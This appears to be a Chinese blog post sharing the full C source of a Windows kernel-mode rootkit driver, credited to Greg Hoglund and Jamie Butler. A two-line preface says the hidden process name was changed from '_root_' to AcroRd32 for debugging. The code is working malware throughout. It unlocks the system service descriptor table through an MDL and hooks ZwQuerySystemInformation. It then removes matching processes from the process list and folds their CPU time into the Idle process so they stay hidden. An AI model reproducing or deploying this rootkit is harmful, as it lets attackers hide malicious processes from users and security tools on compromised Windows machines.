原來的代碼是隱藏_root_
為了調試方便,改為了AcroRd32
// BASIC ROOTKIT that hides processes<br />// ----------------------------------------------------------<br />// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)<br />// v0.3 - Added defines to compile on W2K, and comments. Rich<br />// v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array.<br />// Added code to hide process times of the _root_*'s. Creative<br />// v0.6 - Added way around system call table memory protection, Jamie Butler (butlerjr@acm.org)<br />// v1.0 - Trimmed code back to a process hider for the book.</p><p>#include "ntddk.h"</p><p>#pragma pack(1)<br />typedef struct ServiceDescriptorEntry {<br /> unsigned int *ServiceTableBase;<br /> unsigned int *ServiceCounterTableBase; //Used only in checked build<br /> unsigned int NumberOfServices;<br /> unsigned char *ParamTableBase;<br />} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;<br />#pragma pack()</p><p>__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;<br />#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]</p><p>// MDL reference defined in ntddk.h<br />// typedef struct _MDL {<br />// struct _MDL *Next;<br />// CSHORT Size;<br />// CSHORT MdlFlags;<br />// struct _EPROCESS *Process;<br />// PVOID MappedSystemVa;<br />// PVOID StartVa;<br />// ULONG ByteCount;<br />// ULONG ByteOffset;<br />// } MDL,*pmdl</p><p>PMDL g_pmdlSystemCall;</p><p>PVOID *MappedSystemCallTable;<br />#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)<br />#define HOOK_SYSCALL(_Function, _Hook, _Orig ) /<br /> _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)</p><p>#define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) /<br /> InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)</p><p>struct _SYSTEM_THREADS<br />{<br /> LARGE_INTEGER KernelTime;<br /> LARGE_INTEGER UserTime;<br /> LARGE_INTEGER CreateTime;<br /> ULONG WaitTime;<br /> PVOID StartAddress;<br /> CLIENT_ID ClientIs;<br /> KPRIORITY Priority;<br /> KPRIORITY BasePriority;<br /> ULONG ContextSwitchCount;<br /> ULONG ThreadState;<br /> KWAIT_REASON WaitReason;<br />};</p><p>struct _SYSTEM_PROCESSES<br />{<br /> ULONG NextEntryDelta;<br /> ULONG ThreadCount;<br /> ULONG Reserved[6];<br /> LARGE_INTEGER CreateTime;<br /> LARGE_INTEGER UserTime;<br /> LARGE_INTEGER KernelTime;<br /> UNICODE_STRING ProcessName;<br /> KPRIORITY BasePriority;<br /> ULONG ProcessId;<br /> ULONG InheritedFromProcessId;<br /> ULONG HandleCount;<br /> ULONG Reserved2[2];<br /> VM_COUNTERS VmCounters;<br /> IO_COUNTERS IoCounters; //windows 2000 only<br /> struct _SYSTEM_THREADS Threads[1];<br />};</p><p>// Added by Creative of rootkit.com<br />struct _SYSTEM_PROCESSOR_TIMES<br />{<br /> LARGE_INTEGER IdleTime;<br /> LARGE_INTEGER KernelTime;<br /> LARGE_INTEGER UserTime;<br /> LARGE_INTEGER DpcTime;<br /> LARGE_INTEGER InterruptTime;<br /> ULONG InterruptCount;<br />};</p><p>NTSYSAPI<br />NTSTATUS<br />NTAPI ZwQuerySystemInformation(<br /> IN ULONG SystemInformationClass,<br /> IN PVOID SystemInformation,<br /> IN ULONG SystemInformationLength,<br /> OUT PULONG ReturnLength);</p><p>typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(<br /> ULONG SystemInformationCLass,<br /> PVOID SystemInformation,<br /> ULONG SystemInformationLength,<br /> PULONG ReturnLength<br />);</p><p>ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;</p><p>// Added by Creative of rootkit.com<br />LARGE_INTEGER m_UserTime;<br />LARGE_INTEGER m_KernelTime;</p><p>///////////////////////////////////////////////////////////////////////<br />// NewZwQuerySystemInformation function<br />//<br />// ZwQuerySystemInformation() returns a linked list of processes.<br />// The function below imitates it, except it removes from the list any<br />// process who's name begins with "_root_".</p><p>NTSTATUS NewZwQuerySystemInformation(<br /> IN ULONG SystemInformationClass,<br /> IN PVOID SystemInformation,<br /> IN ULONG SystemInformationLength,<br /> OUT PULONG ReturnLength)<br />{</p><p> NTSTATUS ntStatus;</p><p> ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (<br /> SystemInformationClass,<br /> SystemInformation,<br /> SystemInformationLength,<br /> ReturnLength );</p><p> if( NT_SUCCESS(ntStatus))<br /> {<br /> // Asking for a file and directory listing<br /> if(SystemInformationClass == 5)<br /> {<br /> // This is a query for the process list.<br /> // Look for process names that start with<br /> // '_root_' and filter them out.</p><p> struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;<br /> struct _SYSTEM_PROCESSES *prev = NULL;</p><p> while(curr)<br /> {<br /> //DbgPrint("Current item is %x/n", curr);<br /> if (curr->ProcessName.Buffer != NULL)<br /> {<br /> if(0 == memcmp(curr->ProcessName.Buffer, L"AcroRd32", 16))<br /> {<br /> m_UserTime.QuadPart += curr->UserTime.QuadPart;<br /> m_KernelTime.QuadPart += curr->KernelTime.QuadPart;</p><p> if(prev) // Middle or Last entry<br /> {<br /> if(curr->NextEntryDelta)<br /> prev->NextEntryDelta += curr->NextEntryDelta;<br /> else // we are last, so make prev the end<br /> prev->NextEntryDelta = 0;<br /> }<br /> else<br /> {<br /> if(curr->NextEntryDelta)<br /> {<br /> // we are first in the list, so move it forward<br /> (char *)SystemInformation += curr->NextEntryDelta;<br /> }<br /> else // we are the only process!<br /> SystemInformation = NULL;<br /> }<br /> }<br /> }<br /> else // This is the entry for the Idle process<br /> {<br /> // Add the kernel and user times of _root_*<br /> // processes to the Idle process.<br /> curr->UserTime.QuadPart += m_UserTime.QuadPart;<br /> curr->KernelTime.QuadPart += m_KernelTime.QuadPart;</p><p> // Reset the timers for next time we filter<br /> m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;<br /> }<br /> prev = curr;<br /> if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);<br /> else curr = NULL;<br /> }<br /> }<br /> else if (SystemInformationClass == 8) // Query for SystemProcessorTimes<br /> {<br /> struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;<br /> times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;<br /> }</p><p> }<br /> return ntStatus;<br />}</p><p>VOID OnUnload(IN PDRIVER_OBJECT DriverObject)<br />{<br /> DbgPrint("ROOTKIT: OnUnload called/n");</p><p> // unhook system calls<br /> UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );</p><p> // Unlock and Free MDL<br /> if(g_pmdlSystemCall)<br /> {<br /> MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);<br /> IoFreeMdl(g_pmdlSystemCall);<br /> }<br />}</p><p>NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,<br /> IN PUNICODE_STRING theRegistryPath)<br />{<br /> // Register a dispatch function for Unload<br /> theDriverObject->DriverUnload = OnUnload;</p><p> // Initialize global times to zero<br /> // These variables will account for the<br /> // missing time our hidden processes are<br /> // using.<br /> m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;</p><p> // save old system call locations<br /> OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));</p><p> // Map the memory into our domain so we can change the permissions on the MDL<br /> g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);<br /> if(!g_pmdlSystemCall)<br /> return STATUS_UNSUCCESSFUL;</p><p> MmBuildMdlForNonPagedPool(g_pmdlSystemCall);</p><p> // Change the flags of the MDL<br /> g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;</p><p> MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);</p><p> // hook system calls<br /> HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );</p><p> return STATUS_SUCCESS;<br />}